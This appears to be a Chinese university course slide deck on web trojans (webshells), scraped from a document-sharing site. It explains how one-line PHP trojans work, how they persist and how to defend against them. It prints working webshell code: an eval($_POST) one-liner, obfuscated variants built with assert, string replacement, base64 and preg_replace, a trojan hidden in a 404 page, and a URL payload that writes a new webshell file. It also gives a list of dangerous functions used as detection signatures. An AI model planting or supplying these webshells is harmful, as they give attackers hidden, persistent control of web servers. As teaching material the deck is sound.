Web安全技術(shù) 課件 6 Web木馬_第1頁(yè)
Web安全技術(shù) 課件 6 Web木馬_第2頁(yè)
Web安全技術(shù) 課件 6 Web木馬_第3頁(yè)
Web安全技術(shù) 課件 6 Web木馬_第4頁(yè)
Web安全技術(shù) 課件 6 Web木馬_第5頁(yè)
已閱讀5頁(yè),還剩25頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第6章Web木馬01Web木馬的原理02Web木馬的特點(diǎn)03一句話木馬04大馬和小馬目錄CONTENTSWeb木馬的原理Web木馬Web木馬的定義

攻擊者攻擊的最終目標(biāo)是取得目標(biāo)Web服務(wù)器的控制權(quán)限,在這個(gè)過(guò)程中,各類高危漏洞給攻擊者取得目標(biāo)權(quán)限提供了極大便利。但攻擊者仍需利用木馬來(lái)獲取Web服務(wù)器限并實(shí)現(xiàn)持續(xù)控制的效果。因此,必須了解Web木馬的原理,并制定有效的防護(hù)措施。

木馬(Trojanhorse)是指可以控制另一臺(tái)計(jì)算機(jī)的特定程序。根據(jù)使用場(chǎng)景,木馬可分為網(wǎng)頁(yè)木馬、系統(tǒng)木馬等類,這種分類取決于它的作用目標(biāo)。攻擊者會(huì)針對(duì)Web系統(tǒng)所采用的語(yǔ)言(ASP/PHP/JSP等)來(lái)編寫(xiě)木馬,這樣,木馬上傳到Web服務(wù)器后可被當(dāng)成頁(yè)面被攻擊者訪問(wèn)。當(dāng)木馬上傳到服務(wù)器后,攻擊者遠(yuǎn)程訪問(wèn)木馬(也就是Web頁(yè)面)即可執(zhí)行。本章描述的webshell木馬就是一種網(wǎng)頁(yè)形態(tài)的木馬。Web木馬的原理Web木馬Web木馬的定義

Web木馬的主要作用是開(kāi)設(shè)可供攻擊者持續(xù)使用的后門(mén),以方便攻擊者進(jìn)行后續(xù)針對(duì)Web服務(wù)器的提權(quán)等攻擊。部分功能較為全面的木馬也會(huì)提供文件操作、數(shù)據(jù)庫(kù)連接等方便攻擊者獲取當(dāng)前服務(wù)器數(shù)據(jù)的功能。

攻擊者利用Web木馬來(lái)修改Web頁(yè)面,如替換首頁(yè)(早期黑客炫耀為主)添加JavaScript刷流量/暗鏈等,并且可利用Web木馬攻擊操作系統(tǒng)來(lái)獲取更高的權(quán)限。因此Web木馬的危害非常大。01Web木馬的原理02Web木馬的特點(diǎn)03一句話木馬04大馬和小馬目錄CONTENTS特點(diǎn)二特點(diǎn)一特點(diǎn)四特點(diǎn)三木馬可大可小根據(jù)功能不同,Web木馬自身的文件大小也各不相同。最小的木馬可利用一行代碼進(jìn)行實(shí)現(xiàn)。大的木馬在提供各類豐富的功能基礎(chǔ)之上,自身的大小也會(huì)超過(guò)10KB。無(wú)法有效隱藏Web木馬執(zhí)行時(shí)必須按照中間件支持的Web格式進(jìn)行解析并執(zhí)行。攻擊者通常會(huì)將木馬命名為一個(gè)近似系統(tǒng)文件或正常文件的名字,并在其中填充大量與當(dāng)前站點(diǎn)相似的無(wú)效代碼。木馬在服務(wù)端無(wú)法真正隱藏。必須為可執(zhí)行的網(wǎng)頁(yè)格式Web木馬需要在當(dāng)前Web服務(wù)器中執(zhí)行,因此必須為網(wǎng)頁(yè)格式。在極端情況下可配合文件包含漏洞實(shí)現(xiàn)木馬執(zhí)行,但最終執(zhí)行環(huán)境必須為網(wǎng)頁(yè)。具有明顯特征值Web木馬需要調(diào)用系統(tǒng)的關(guān)鍵函數(shù)用以執(zhí)行本身的功能,這些關(guān)鍵函數(shù)在木馬中起著無(wú)法替代的作用,是Web木馬的明顯特征。常見(jiàn)的關(guān)鍵函數(shù)有:命令執(zhí)行類:eval、system、popen、exec、shell_exec等文件功能類:fopen、opendir、dirname、pathinfo等數(shù)據(jù)庫(kù)操作類:mysql_query、mysqli_query等Web木馬Web木馬的特點(diǎn)01Web木馬的原理02Web木馬的特點(diǎn)03一句話木馬04大馬和小馬目錄CONTENTS一句話木馬一句話木馬的定義Web系統(tǒng)中的木馬是直接獲取Webshell的有效手段,但是木馬的大量功能會(huì)導(dǎo)致木馬文件增大。同時(shí),實(shí)現(xiàn)木馬功能的代碼越多,木馬的特點(diǎn)也越明顯,就越容易被發(fā)現(xiàn)。

一句話木馬是一種特征性很強(qiáng)的腳本后門(mén)的簡(jiǎn)稱,主要用于實(shí)現(xiàn)基本的鏈接功能。一句話木馬的最大功能就是在Web服務(wù)器上“打開(kāi)窗口”,以便為后續(xù)遠(yuǎn)程鏈接并傳送后續(xù)大馬等行為提供條件。Web木馬一句話木馬一句話木馬的原型一句話木馬的實(shí)現(xiàn)方式是定義一個(gè)執(zhí)行環(huán)境,并設(shè)計(jì)一個(gè)傳參數(shù)點(diǎn),供接收外部給出的參數(shù)。經(jīng)典的PHP環(huán)境的一句話木馬原型如下:

<?php@eval($_POST[‘C’]);?>

其中:<?php:腳本語(yǔ)言開(kāi)始標(biāo)記@eval:執(zhí)行后面請(qǐng)求到的數(shù)據(jù)$_POST[‘C’]:獲取客戶端提交的數(shù)據(jù),C為參數(shù)?>:腳本語(yǔ)言結(jié)束標(biāo)記

Web木馬一句話木馬一句話木馬的變形技巧由于一句話木馬特征值極其明顯,目前使用的防護(hù)方式均可對(duì)特征值進(jìn)行直接判斷,并且如果PHP禁用了eval函數(shù),就會(huì)使得一句話木馬無(wú)法執(zhí)行。因此,一句話木馬如果不做偽裝、不對(duì)自己的特征進(jìn)行隱藏或變形,會(huì)被防護(hù)設(shè)備過(guò)濾。正常攻防場(chǎng)景中,攻擊者會(huì)采用各種變化,實(shí)現(xiàn)對(duì)一句話木馬的隱藏,避免其被防護(hù)設(shè)備發(fā)現(xiàn)。下面是兩個(gè)一句話木馬變形的實(shí)例:

Web木馬<?php$a=‘a(chǎn)ssert’;array_map(“$a”,$_REQUEST);?><?php$item[‘JON’]=‘a(chǎn)ssert’;$array[]=$item;$array[0][‘JON’]($_POST[‘TEST’]);?>一句話木馬一句話木馬的變形技巧一句話木馬常用的變形技巧為:更換執(zhí)行數(shù)據(jù)來(lái)源字符替換或特殊編碼采用藏匿手段混合上述手段Web木馬一句話木馬一句話木馬的變形技巧1.更換執(zhí)行數(shù)據(jù)來(lái)源Web木馬在前面提到的經(jīng)典的一句話木馬中,其執(zhí)行數(shù)據(jù)來(lái)源通過(guò)$_POST獲取,也可以根據(jù)需要改為GET、COOKIE、SESSION等方式來(lái)獲取用戶端的參數(shù);但考慮到數(shù)據(jù)長(zhǎng)度、編碼、隱蔽性等因素,還是使用POST方法更為合適。如果POST方式被過(guò)濾,那么只能考慮利用其他參數(shù)進(jìn)行替換,實(shí)現(xiàn)對(duì)防護(hù)手段的繞過(guò)。一句話木馬PHP中獲取表單數(shù)據(jù)的方法Web木馬PHP中獲取表單中數(shù)據(jù)的方法有:GET方法,POST方法,REQUEST方法POST方法<formname="form1"method="post"action=""><inputtype="text"name="contents"value=""><inputtype="submit"value="提交"></form><?phpif(isset($_POST[‘contents’])){$contents=$_POST[‘contents’];

//獲取表單提交的數(shù)據(jù)echo$contents;}?>GET方法:<formname="form1"method="get"action=""><inputtype="text"name="contents"value=""><inputtype="submit"value="提交"></form><?phpif(isset($_GET[‘contents’])){$contents=$_GET[‘contents’];

//獲取表單提交的數(shù)據(jù)echo$contents;}?>一句話木馬PHP中獲取表單數(shù)據(jù)的方法Web木馬PHP中獲取表單中數(shù)據(jù)的方法有:GET方法,POST方法,REQUEST方法,三者的區(qū)別是:使用GET方法時(shí),所有變量名和值都會(huì)在URL中顯示。不適合發(fā)送密碼或敏感信息,變量值不能超過(guò)2000個(gè)字符,適合在收藏夾中收藏該頁(yè)面。使用POST方法發(fā)送的信息對(duì)任何人都不可見(jiàn),發(fā)送的信息量也沒(méi)有限制,但發(fā)送信息的頁(yè)面無(wú)法放入書(shū)簽或收藏夾。$_REQUEST變量既可以收集GET方法發(fā)送的數(shù)據(jù),也可以接受POST方法接受的數(shù)據(jù)。一句話木馬一句話木馬的變形技巧1.更換執(zhí)行數(shù)據(jù)來(lái)源Web木馬(1)利用GETGET方式在使用方法上與POST方式?jīng)]有太大區(qū)別,只是在傳參方面,GET可利用URL進(jìn)行傳輸。因此,可利用URL編碼來(lái)實(shí)現(xiàn)內(nèi)容的簡(jiǎn)單編碼。參考語(yǔ)句如下:<?php$_GET[a]($_GET[b]);?>(假設(shè)文件名命名為a.php)這個(gè)語(yǔ)句中沒(méi)有直接顯示用于執(zhí)行參數(shù)的命令,但看到需要傳入兩個(gè)參數(shù),因此在利用方面可在參數(shù)a傳入執(zhí)行命令,在參數(shù)b傳入代碼:http://xxx.xxx.xxx/a.php?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))}雖然提示各種錯(cuò)誤,卻能夠執(zhí)行,因此,assert又稱為容錯(cuò)代碼一句話木馬一句話木馬的變形技巧1.更換執(zhí)行數(shù)據(jù)來(lái)源Web木馬(1)利用session可利用Session的特性來(lái)保持函數(shù)內(nèi)容,利用方式如下:<?phpsession_start();

$_POST[‘code’]&&$_SESSION[‘theCode’]=trim($_POST[‘code’]);$_SESSION[‘theCode’]&&preg_replace(‘\’a\’eis’,‘e’.’v’.’a’.’l’.’base64_decode($_SESSION[\‘theCode\’]))’,‘a(chǎn)’)?>代碼的執(zhí)行流程為:如果會(huì)話$_SESSION[‘theCode’]存在,則利用preg_replace執(zhí)行正則表達(dá)式的匹配以及替換結(jié)果生成eval函數(shù)。替換完成后,根據(jù)第二個(gè)參數(shù)傳入時(shí)的內(nèi)容拼接成eval($_SESSION[‘theCode’])一句話木馬一句話木馬的變形技巧2.字符替換或特殊編碼Web木馬與eval()有相近功能的函數(shù)還有assert(),兩者可以互換使用。如果eval()被過(guò)濾或限制執(zhí)行,可以考慮使用assert()函數(shù)。當(dāng)然,也可以通過(guò)一些字符替換和隱藏來(lái)保護(hù)這兩個(gè)關(guān)鍵函數(shù),以達(dá)到允許命令執(zhí)行的效果。一句話木馬一句話木馬的變形技巧2.字符替換或特殊編碼Web木馬(1)使用字符替換防止關(guān)鍵字過(guò)濾常見(jiàn)的方式是利用替換函數(shù)實(shí)現(xiàn)對(duì)字符串內(nèi)關(guān)鍵字的“變形”,實(shí)現(xiàn)針對(duì)原有敏感字符的隱藏效果。替換樣例如下:$a=str_replace(x,””,”axsxxsxexrxxt”)這樣函數(shù)會(huì)將axsxxexrxxt中的“x”全部刪除,保留下的內(nèi)容就為assert。一句話木馬一句話木馬的變形技巧2.字符替換或特殊編碼Web木馬(2)字符串組合法隱藏關(guān)鍵字將需要隱藏的函數(shù)字符隨機(jī)打亂是另一種隱藏方法。首先定義一些隨機(jī)字符串,再調(diào)用打亂后的字符順序并拼接成有效的參數(shù),也可實(shí)現(xiàn)隱藏功能。樣例如下:<?php$str=‘a(chǎn)erst’;$funct=$str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};@$funct($_POST[‘c’]);?>一句話木馬一句話木馬的變形技巧2.字符替換或特殊編碼Web木馬(3)利用編碼方式隱藏關(guān)鍵字在針對(duì)高危函數(shù)過(guò)濾的環(huán)境時(shí),為繞過(guò)某些直接的字符過(guò)濾方法,也可將字符進(jìn)行base64_decode、gzinflate、urldecode、二進(jìn)制編碼等轉(zhuǎn)換,從而實(shí)現(xiàn)對(duì)高危函數(shù)的藏匿。利用編碼可有效繞過(guò)關(guān)鍵字的防護(hù)。樣例如下:<?php

@eval(base64_decode(JF9QT1NUWydjJ10=));?>JF9QT1NUWydjJ10=解碼后為$_POST[‘c’],這樣就可以實(shí)現(xiàn)隱藏效果。當(dāng)然,也可利用這種變種方式對(duì)其他高危函數(shù)或者整體木馬進(jìn)行變形,實(shí)現(xiàn)高危函數(shù)基本特征隱藏的作用。一句話木馬一句話木馬的變形技巧3.木馬藏匿手段Web木馬木馬在服務(wù)器端存放時(shí),如果放在根目錄或其他明顯位置,則非常容易被安全人員發(fā)現(xiàn)并刪除。安全人員會(huì)在定期安全巡檢中對(duì)服務(wù)器的文件進(jìn)行排查,重點(diǎn)檢查文件的創(chuàng)建日期是否異常,對(duì)陌生文件會(huì)直接打開(kāi)觀察內(nèi)容等。因此,攻擊者會(huì)使用這種方式對(duì)上傳的木馬進(jìn)行藏匿,以有效提升木馬的持續(xù)性,同時(shí)提升攻擊者對(duì)Web服務(wù)器權(quán)限的持續(xù)控制。常見(jiàn)的木馬藏匿點(diǎn)有如下幾個(gè):一句話木馬一句話木馬的變形技巧3.木馬藏匿手段Web木馬(1)404頁(yè)面利用404頁(yè)面隱藏小馬是早期一種有效的方式。404頁(yè)面是網(wǎng)站常用的頁(yè)面,用于提示當(dāng)前用戶訪問(wèn)的連接無(wú)法找到。在Web站點(diǎn)那好后,一般很少針對(duì)404頁(yè)面進(jìn)行修改與檢查。因此,常用于隱藏一句話木馬,避免被管理員發(fā)現(xiàn)。在404頁(yè)面中,有效隱藏的方式如下:<!doctypehtml><htmllang="en"><head><title>404NotFound</title></head><body>

<h1>NotFound</h1>

<p>TherequestedURLwasnotfoundonthisserver</p></body></html><?php

@preg_replace(“/[pageerror]/e”,$_POST[‘error’],”saft”);header(‘HTTP/1.1404NotFound’);?>一句話木馬一句話木馬的變形技巧3.木馬藏匿手段Web木馬(1)圖片或日志無(wú)法修改目標(biāo)站點(diǎn)頁(yè)面時(shí),也可將一句話木馬寫(xiě)在文本中,保存為.jpg等圖片格式,并上傳到服務(wù)器,或者保存在Web服務(wù)的日志中。再利用文件包含方式(下一章會(huì)講到)來(lái)調(diào)用含有一句話木馬的文件,進(jìn)而達(dá)到執(zhí)行一句話木馬的效果。一句話木馬安全建議Web木馬要防止一句話木馬,關(guān)鍵是要控制執(zhí)行函數(shù)。一種簡(jiǎn)單有效的方法是禁用assert()函數(shù),外加對(duì)eval()參數(shù)進(jìn)行監(jiān)控。也可以搜索日志中的assert進(jìn)行監(jiān)控,因?yàn)镚ET值必須GET一個(gè)assert,以實(shí)現(xiàn)對(duì)后期傳入的命令的執(zhí)行。

總之,防御的方法與繞過(guò)的方法變化無(wú)窮。目前針對(duì)Web木馬的防護(hù)手段已經(jīng)從疑似木馬結(jié)構(gòu)轉(zhuǎn)向?qū)ζ湫袨榈姆治黾皺z查。

很多場(chǎng)景下,攻擊者獲得Webshell后并不僅僅會(huì)修改當(dāng)前頁(yè)面進(jìn)行炫技,而是要獲取當(dāng)前的數(shù)據(jù)庫(kù),俗稱“拖庫(kù)”,進(jìn)而獲得網(wǎng)站所有用戶的信息,執(zhí)行掛黑SEO、掛DDOS攻擊端等操作。01Web木馬的原理02Web木馬的特點(diǎn)03一句話木馬04大馬和小馬目錄CONTENTS大馬和小馬大馬和小馬

大型木馬主要為webshell后門(mén)木馬,它是以asp、jsp、php或者cgi網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,也可以稱其為一種網(wǎng)頁(yè)后門(mén),其目的是控制網(wǎng)站或者web系統(tǒng)服務(wù)器(上傳下載文件、查看數(shù)據(jù)庫(kù)、執(zhí)行任意程序命令等)。

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論